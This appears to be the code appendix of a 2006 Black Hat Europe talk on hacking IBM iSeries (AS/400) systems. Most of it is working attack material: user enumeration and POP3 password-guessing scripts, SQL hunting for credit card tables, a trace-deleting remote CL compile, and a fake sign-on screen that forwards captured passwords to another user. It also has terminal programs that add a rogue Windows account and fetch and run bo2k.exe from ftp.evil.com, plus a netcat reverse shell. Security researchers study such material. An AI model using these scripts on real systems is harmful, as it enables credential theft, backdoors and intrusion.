"Hacking iSeries" Blackhat Europe 2006 materials

Contents

  1. User enumeration
  2. DB2/400 exploits
  3. Hijacking login screen
  4. Attacking workstations from AS/400 terminal applications
  5. Telnet alternatives – remote shells
  6. References

User enumeration

Using ldap to retrieve list of iSeries accounts

ldapsearch is part of the SunOne/iPlanet/Netscape SDK
## Querying LDAP on iSeries for group members

ldapsearch -h as400-prod.victim.com -b "cn=accounts, os400-sys=S0011223.VICTIM.COM" -D "os400-profile=BOGUS, cn=accounts, os400-sys=S0011223.VICTIM.COM" -w as400pwd -L -s sub "os400-profile=*"

## Querying LDAP on iSeries for specific user information

ldapsearch -h as400-prod.victim.com -b "cn=accounts, os400-sys=S0011223.VICTIM.COM" -D "os400-profile=BOGUS, cn=accounts, os400-sys=S0011223.VICTIM.COM" -w as400pwd -L -s sub "os400-profile=LESLIE“ os400-invalidsignoncount os400-passwordlastchanged os400-previoussignon os400-status os400-inlpgm

Windows batch file to list users via LDAP

echo off
if "%3"==""  (
    echo.
    echo The %0 command will enumerate AS400 users via LDAP.
    echo Usage: %0 ^ ^ ^
    echo.
    goto end
    )
setlocal
set slapddir=/QIBM/UserData/OS400/DirSrv/
set slapd=slapd.conf
set AS400=%1
set USR=%2
set PWD=%3
:: Create temp FTP script
if exist }ftp{.txt del }ftp{.txt
echo open %AS400%  > }ftp{.txt
echo %USR%  >> }ftp{.txt
echo %PWD%  >> }ftp{.txt
echo quote site namefmt 1  >> }ftp{.txt
echo ascii  >> }ftp{.txt
echo get %slapddir%%slapd%   >> }ftp{.txt
echo quit   >> }ftp{.txt
ftp -s:}ftp{.txt > }ftp_out{.txt
for /F "usebackq" %%E in (`type }ftp_out{.txt ^| find /C "250 File transfer completed successfully."`) do (
	goto FTP_%%E
	)
:FTP_1
for /F "usebackq tokens=2 delims= " %%S in  (`type %slapd% ^| find "os400-sys"`) do (
	for /F "tokens=2 delims==" %%n in (%%S) do set OS400-SYS=%%n
	)
set BASE="cn=accounts,os400-sys=%OS400-SYS%"
set BINDUSER="os400-profile=%USR%,cn=accounts,os400-sys=%OS400-SYS%"
set USRELEM="os400-profile"
if exist %AS400%-Usr-full.txt del %AS400%-Usr-full.txt
if exist %AS400%-Usr-list.txt del %AS400%-Usr-list.txt
ldapsearch -h %AS400% -b "%BASE%" -D "%BINDUSER%" -w %PWD% -L  -s sub "%USRELEM%=*"  > }1{.txt
for /F "tokens=1,2" %%i in (}1{.txt) do if "%%i" == "os400-profile:" (
    echo -------  %%j  -------- >> %AS400%-Usr-full.txt
    ldapsearch -h %AS400% -b "%BASE%" -D "%BINDUSER%" -w %PWD% -L  -s sub "%USRELEM%=%%j" >> %AS400%-Usr-full.txt
    echo %%j >> %AS400%-Usr-list.txt
    )
del }1{.txt
endlocal
goto end
:FTP_0
echo FTP failed.
type }ftp_out{.txt | more
:end
del }ftp{.txt
del }ftp_out{.txt

FTP script to list All users

open as400.victim.com
as400user
password
quote site namefmt 1
quote site listfmt 1
mkdir /test12345
quote rcmd ADDLNK OBJ('/qsys.lib') NEWLNK('/test12345/qsys')
dir /test12345/qsys/*.usrprf

Windows batch file to test pop3 for users

(Uses netcat - get your own copy )
echo off
setlocal
set AS400Host=as400-prod.victim.com
set POP3=110
set UsersFile=pop3_as400_users.txt
set ScanResults=nc_pop3_scan.txt
set TempFile=}pop3{.txt
for /F %%U in (%UsersFile%) do (
	echo user %%U > %TempFile%
	echo pass %%U >> %TempFile%
	echo quit >> %TempFile%
	echo ======= %%U ========= >> %ScanResults%
	type %TempFile% | nc -i 1 -w 1 %AS400Host% %POP3% >> %ScanResults%
	)
endlocal
del %TempFile%
echo Scan the %ScanResults% file for "+OK start sending message", "CPF22E2" and "CPF22E4"


DB2/400 exploits

White paper: Executing non-declared stored procedures

Search catalog by table specs

select system_table_name, system_table_schema,
     file_type, table_text, column_count
   from qsys2.systables
   where system_table_schema not like 'Q%'
     and ( lower(table_text) like '%credit%'
     or lower(table_text) like '%card%'
     or lower(table_text) like '%cc%' )
     and table_type != 'L'

Search catalog by column specs

select system_table_schema, system_table_name,
    system_column_name, column_text, data_type,
    length, numeric_scale, numeric_precision
  from qsys2.syscolumns
  where system_table_schema not like 'Q%'
    and (lower(column_text) like '%credit%'
    or lower(column_text)like '%card%'
    or lower(column_text)like '%cc%' ) ;


Hijacking login screen

CL program MONPWD1C to retrieve prerequisite information

/* Program monpwd1c  */
pgm
wrkusrjob user(bogus) status(*all) output(*print) jobtype(*interact)
cpysplf file(qpdspsbj) tofile(qgpl/splfcpy) +
     splnbr(*last) mbropt(*add)
dspsbsd sbsd(qinter) output(*print)
cpysplf file(qprtsbsd) tofile(qgpl/splfcpy) +
     splnbr(*last) mbropt(*add)
endpgm

Create MONPWD1C via an ODBC connection

/* creation of a source member to contain the CL program source */
call qcmdexc ('addpfm file(qgpl/qclsrc) mbr(monpwd1c) srctype(clp)', 0000000051.00000)
create alias qgpl.al01 for qgpl/qclsrc (monpdw1c)
/* creation of a flat file for the CPYSPLF command */
create table qgpl.splfcpy (splfcpy char (200 ) not null with default)
/* insertion of the CL statements into the source member */
insert into qgpl.al01 (srcdta) values('pgm') with nc
insert into qgpl.al01 (srcdta) values('wrkusrjob user(bogus) status(*all) output(*print) jobtype(*interact)') with nc
insert into qgpl.al01 (srcdta) values('cpysplf file(qpdspsbj) tofile(qgpl/splfcpy) +') with nc
insert into qgpl.al01 (srcdta) values('     splnbr(*last) mbropt(*add)') with nc
insert into qgpl.al01 (srcdta) values('dspsbsd sbsd(qinter) output(*print)') with nc
insert into qgpl.al01 (srcdta) values('cpysplf file(qprtsbsd) tofile(qgpl/splfcpy) +') with nc
insert into qgpl.al01 (srcdta) values('     splnbr(*last) mbropt(*add)') with nc
insert into qgpl.al01 (srcdta) values('endpgm') with nc
/* fix source sequence numbers, or compiler will not run. */
update qgpl.al01 al01 set srcseq=rrn(al01) with nc
/* compilation of the CL program – no listings created */
call qcmdexc ('crtclpgm pgm(qgpl/monpwd1c) srcfile(qgpl/qclsrc) log(*no) option(*nosource *nosrc *noxref *noseclvl *nosrcdbg *nolstdbg)', 0000000120.00000)
/* removal of printed residual traces */
call qcmdexc ('dltsplf file(*select) select(*current *all *all *all)', 0000000054.00000)
/* submission of the compiled program to batch */
call qcmdexc ('sbmjob cmd(call pgm(qgpl/monpwd1c)) log(0 0 *nolist) logclpgm(*no) dspsbmjob(*no)' , 0000000081.00000)

CL program to hijack login screen

PGM        PARM(&DEVNAME)
DCLF QDSIGNON
DCL        VAR(&TEXT) TYPE(*CHAR) LEN(80)
DCL        VAR(&EVIL) TYPE(*CHAR) LEN(10) VALUE('JOE')
MONMSG     MSGID(CPF0000) EXEC(GOTO CMDLBL(ERROR))
RTVNETA    SYSNAME(&SYSNAME)
CHGVAR     VAR(&SBSNAME) VALUE('QINTER')
CHGVAR     VAR(&IN01) VALUE('1')
CHGVAR     VAR(©RIGHT) VALUE(' (C) ACME +
                          CORPORATION.  1949, 2001.')
RETRY:
OVRDSPF    FILE(QDSIGNON) DEV(&DEVNAME) WAITFILE(32767)
PANEL:
SNDRCVF    RCDFMT(SIGNON)
CHGVAR     VAR(&TEXT) VALUE('User' || &USERID || +
': Pwd' || &PASSWRD)
SNDMSG     MSG(&TEXT) TOUSR(&EVIL)
    RETURN
ERROR:
DLYJOB     DLY(10)
GOTO       CMDLBL(RETRY)
ENDPGM


Attacking workstations from AS/400 terminal applications

Basic attack on PC running (almost) any emulation software (Telnet 5250)

PGM
MONMSG CPF0000
STRPCO

STRPCCMD PCCMD('net user evil hacker /add') PAUSE(*NO)

STRPCCMD PCCMD('tftp –i ftp.evil.com get bo2k.exe c:\bo2k.exe') PAUSE(*NO)
STRPCCMD PCCMD('c:\bo2k.exe') PAUSE(*NO)

ENDPGM

Super attack on PC running emulation software from IBM (Client Access)

PGM
dcl      &RTVDEV   *char  10
dcl      &TCPADDR  *char  15
dcl      &DEVNAM   *char  10
dcl      &MSG      *char  50
dcl      &USER     *char  10
dcl      &ERROR    *char  4    X'00000000'
dcl      &TCPIP *char  1    X'02'
dcl      &RCVVAR   *char  1024

monmsg     msgid(CPF0000 MCH0000) exec(goto error)

rtvjoba job(&RTVDEV) user(&USER)

/*  Call the Retrieve Device Description API, Format DEVD0600        */
/*  to retrieve information about selected device                    */

chgvar   &RCVVAR  (' ')
chgvar   &TCPADDR (*BLANKS)

call     QDCRDEVD parm(                                +
               &RCVVAR      /* RECEIVER VARIABLE       */  +
               X'00000400'  /* LENGTH OF &RCVVAR (1024)*/  +
               'DEVD0600'   /* FORMAT TO RECEIVE       */  +
               &RTVDEV      /* DEVICE ID TO RETRIEVE   */  +
               &ERROR)      /* ERROR FIELD             */

/*   Extract values from receiver variable if retrieved device       */
/*   is a TCP/IP device (position 859, network protocol = X'02')     */

chgvar   &DEVNAM   (%SST(&RCVVAR 22 10))

if       (&DEVNAM *ne ' ') then(do)

    if         (%SST(&RCVVAR 859 1) *eq &TCPIP) then(do)

          chgvar     &TCPADDR (%SST(&RCVVAR 878 15))
          /* &TCPADDR is the IP address  */

          /* Start the PC organizer */
          strpco

          /* Start remote service  */
          strpccmd pccmd('sc start Cwbrxd /nosecok') pause(*no)

          /* Configure remote service to autostart and ignore security */
          /* can be improved by parsing the results of "sc qc cwbrxd" +
             for the actual cwbrxd.exe location                     */
          strpccmd pccmd('sc config Cwbrxd  start= auto     +
               binpath= "C:\WINDOWS\CWBRXD.EXE /nosecok"')  +
               PAUSE(*NO)
          chgvar &MSG (&USER *bcat &IPADDR) /* Set message text */
          sndmsg &MSG hacker   /* Send name & IP to user HACKER */

    enddo
enddo

error:
RETURN
ENDPGM

Ping sweep in REXX

/* PING sweep written in REXX/400         */
/* Place in a source file you fancy       */
/* QGPL/QREXSRC –  is writable by default */
/* Copyright © Shalom Carmel 2004         */

/* Execute by the STRREXPRC command       */

/* Caveat Emptor                          */

/******* Parameters ***********************/
/* Start of  IP range                     */
StartIP = '192.168.1.250'

/* End of IP range                        */
EndIP   = '192.168.2.05'

/* NBR = Number of PING attempts          */
/* Default = 1                            */
/* NBR = 1  */
NBR = 1

/* Log library/file name            */
/* Default = same as script         */
/* Output_loc = '*SAME'             */
/* Output_loc = 'YOURLIB/YOURFILE'  */
Output_loc = '*SAME'

/* Log member name - must exist     */
/*  before script runs.             */
/* Script will append the log to the member */
/* Default = @PINGOUT               */
Output_name = '@PINGOUT'

/* 1=log all IP, 0=log success only */
LogAll  = '0'
/************************************************************************/
/*** no need to modify anything below this point, unless you really know*/
/*** what you are doing                                                 */
/************************************************************************/
numeric digits 10
if Output_loc = '*SAME' then do
    parse source _system _start _srcmbr _srcfile _srclib
    Output_loc = _srclib  || '/' || _srcfile
end
if translate(LogAll) = 'Y' | translate(LogAll) = 'YES' | LogAll= '1'
            then LogAll= '1'
            else LogAll= '0'
address command
bBuff = copies(' ', 12)
pingmsg = copies(' ', 80)
'OVRDBF FILE(STDOUT) TOFILE('Output_loc') mbr('Output_name') share(*yes)'
PARSE var StartIP s1 "." s2 "." s3 "." s4 "." .
PARSE var EndIP   e1 "." e2 "." e3 "." e4 "." .
sADDR = s1*256*256*256 + s2*256*256 + s3*256 + s4
eADDR = e1*256*256*256 + e2*256*256 + e3*256 + e4

do nADDR = sADDR to eADDR
    x = nADDR
    do i = 1 to 4
       c.i = x // 256
       x = x % 256
    end
   cADDR = c.4||'.'||c.3||'.'||c.2||'.'||c.1
    'ping rmtsys('''cADDR''') ADRVERFMT(*IP4) MSGMODE(*QUIET) NBRPKT('NBR') '
    'RCVMSG MSGTYPE(*COMP) msg(&PingMsg)'
    select
       when LogAll then say bBuff cADDR word(PingMsg,4)
       when word(PingMsg,4) > 0 then  say bBuff cADDR
       otherwise nop
    end
end
return

Telnet alternatives – remote shells

netcat reverse shell

Prerequisites:
* netcat for AIX binary, compiled with GAPING_SECURITY_HOLE
* PASE on iSeries
nc –e ksh –n 192.168.248.117 80  &

                   equivalent to

SBMJOB CMD(CALL PGM(QP2SHELL2) PARM('/QOpenSys/usr/nc/nc' '–e'  '/QOpenSys/bin/ksh' '-n' '192.168.248.117' '80'))

Java RAWT reverse shell

http://publib.boulder.ibm.com/iseries/v5r2/ic2924/info/rzaha/guiintro.htm
http://publib.boulder.ibm.com/iseries/v5r2/ic2924/info/rzaha/400rawt.htm

Obtain the PC jar file from the /QIBM/ProdData/Java400/jdk13/ AS400 folder.
Copy the RAWTGui.jar file to your workstation, and execute it.
java –jar RAWTGui.jar

Sample AWT program to test configuration

Compile, upload to iSeries and execute
java -cp /usr/shalom -DRmtAwtServer=192.168.1.1 -Dos400.class.path.rawt=1 -Djava.version=1.3 AWTExample

// --------------------------------------------------------------------
// AWTExample.java
// http://www.idevelopment.info/data/Programming/java/PROGRAMMING_Java_Programming.shtml
// --------------------------------------------------------------------

import java.awt.*;
import java.awt.event.*;


/**
 * --------------------------------------------------------------------
 * This class provides an example of a simple AWT frame that contains an
 * example toolbar implementation made up of several AWT button objects.
 * This example will contain three buttons typically found in toolbar -
 * Copy, Cut, and Paste.
 * --------------------------------------------------------------------
 */

public class AWTExample extends Frame {

    // Object fields
    private Button copyButton;
    private Button cutButton;
    private Button pasteButton;
    private Button  exitButton;


    /**
     * Public no-arg constructor
     */
    public AWTExample() {

        super("Simple AWT Example");
        setSize(450, 250);

        addWindowListener(
                new WindowAdapter() {
                    public void windowClosing(WindowEvent e) {
                        System.exit(0);
                    }
                }
        );

        ActionListener buttonListener = new ActionListener() {

            public void actionPerformed(ActionEvent ae) {

                String action = ae.getActionCommand();

                if (action.equals("Exit")) {
                    dispose();
                    System.out.println("Exiting.");
                    System.exit(0);
                } else {
                    System.out.println(action);
                }
            }

        };


        // Toolbar Panel
        Panel toolbarPanel = new Panel();
        toolbarPanel.setLayout(new FlowLayout(FlowLayout.LEFT));

        copyButton = new Button("Copy");
        copyButton.addActionListener(buttonListener);
        toolbarPanel.add(copyButton);

        cutButton = new Button("Cut");
        cutButton.addActionListener(buttonListener);
        toolbarPanel.add(cutButton);

        pasteButton = new Button("Paste");
        pasteButton.addActionListener(buttonListener);
        toolbarPanel.add(pasteButton);

        add(toolbarPanel, BorderLayout.NORTH);

        // Bottom Panel
        Panel bottomPanel = new Panel();

        exitButton = new Button("Exit");
        exitButton.addActionListener(buttonListener);
        bottomPanel.add(exitButton);

        add(bottomPanel, BorderLayout.SOUTH);

    }


    /**
     * Sole entry point to the class and application.
     * @param args Array of String arguments.
     */
    public static void main(String[] args) {

        AWTExample mainFrame = new AWTExample();
        mainFrame.setVisible(true);

    }

}
/////////////// END of Java Program

JShell - extensible Java based shell

http://www.cse.iitk.ac.in/~rkg/Html/jshell.tar.gz

Extensions based on the iSeries Java Toolbox.

For compilation and execution you need the following JAR files:

java -cp /usr/shalom/Jshell:$CLASSPATH:/QIBM/ProdData/Java400/jdk13 -DRmtAwtServer=192.168.1.1 -Dos400.class.path.rawt=1 -Djava.version=1.3 JShell

qcmd - Execute any AS/400 native command string.

//////////////////////////////////////////////////////////////////////////////////
//
//
//  Run a command
//
//
//////////////////////////////////////////////////////////////////////////////////


import java.io.*;
import java.util.*;
import com.ibm.as400.access.*;

public class qcmd extends Object
{

   public static void main(String[] args)
   {

      // Declare variables to hold the system name and the command to run
      String commandString = " ";

      System.out.println( " " );

    if( args.length < 2)
	{
	   System.out.println("usage : qcmd \n");
	} else {
	   for( int i = 0; i < args.length ; i++)
	      commandString += args[i]+" ";
    }


      // Create an AS400 object.  This is the system we send the command to
      AS400 as400 = new AS400();


      // Create a command call object specifying the server that will
      // receive the command.
      CommandCall command = new CommandCall( as400 );


      try
      {
         // Run the command.
         if (command.run(commandString))
             System.out.print( "Command successful" );
         else
             System.out.print( "Command failed" );



         // If messages were produced from the command, print them
         AS400Message[] messagelist = command.getMessageList();

         if (messagelist.length > 0)
         {
             System.out.println( ", messages from the command:" );
             System.out.println( " " );
         }

         for (int i=0; i < messagelist.length; i++)
         {
            System.out.print  ( messagelist[i].getID() );
            System.out.print  ( ": " );
            System.out.println( messagelist[i].getText() );
         }
      }
      catch (Exception e)
      {
         System.out.println( "Command " + command.getCommand() + " did not run" );
      }

   }
}


Prompt400 - Graphically represent and execute all AS/400 commands and display command help.

//////////////////////////////////////////////////////////////////////////////////
//
// CommandPrompter example.
//
// Command syntax:
//    Prompt400 commandString
//
//////////////////////////////////////////////////////////////////////////////////

import com.ibm.as400.ui.util.CommandPrompter;
import com.ibm.as400.access.AS400;
import com.ibm.as400.access.AS400Message;
import com.ibm.as400.access.CommandCall;
import javax.swing.JFrame;
import java.awt.FlowLayout;
public class Prompt400
{
public static void main ( String args[] ) throws Exception
  {
  String commandString = " ";

  // Build commandString from concatenating args
      if( args.length < 2)
  	{
  	   System.out.println("usage : Prompt400 \n");
  	   return();
  	} else {
  	   for( int i = 0; i < args.length ; i++)
  	      commandString += args[i]+" ";
  	      }

  JFrame JavaFrame = new JFrame();
  JavaFrame.getContentPane().setLayout(new FlowLayout());
  AS400 system = new AS400();


  // Launch the CommandPrompter
  CommandPrompter cp = new CommandPrompter(JavaFrame, system, commandString);
  if (cp.showDialog() == CommandPrompter.OK)
    {
    String cmdString = cp.getCommandString();
    System.out.println("Command string: " + cmdString);

    // Run the command that was built in the prompter.
    CommandCall cmd = new CommandCall(system, cmdString);
    if (!cmd.run())
      {
      AS400Message[] msgList = cmd.getMessageList();
      for (int i = 0; i < msgList.length; ++i)
        {
          System.out.println(msgList[i].getText());
        }
      }
    }
  }
}


References

Web sites

Printed and electronic Books

iSeries Security vendors and experts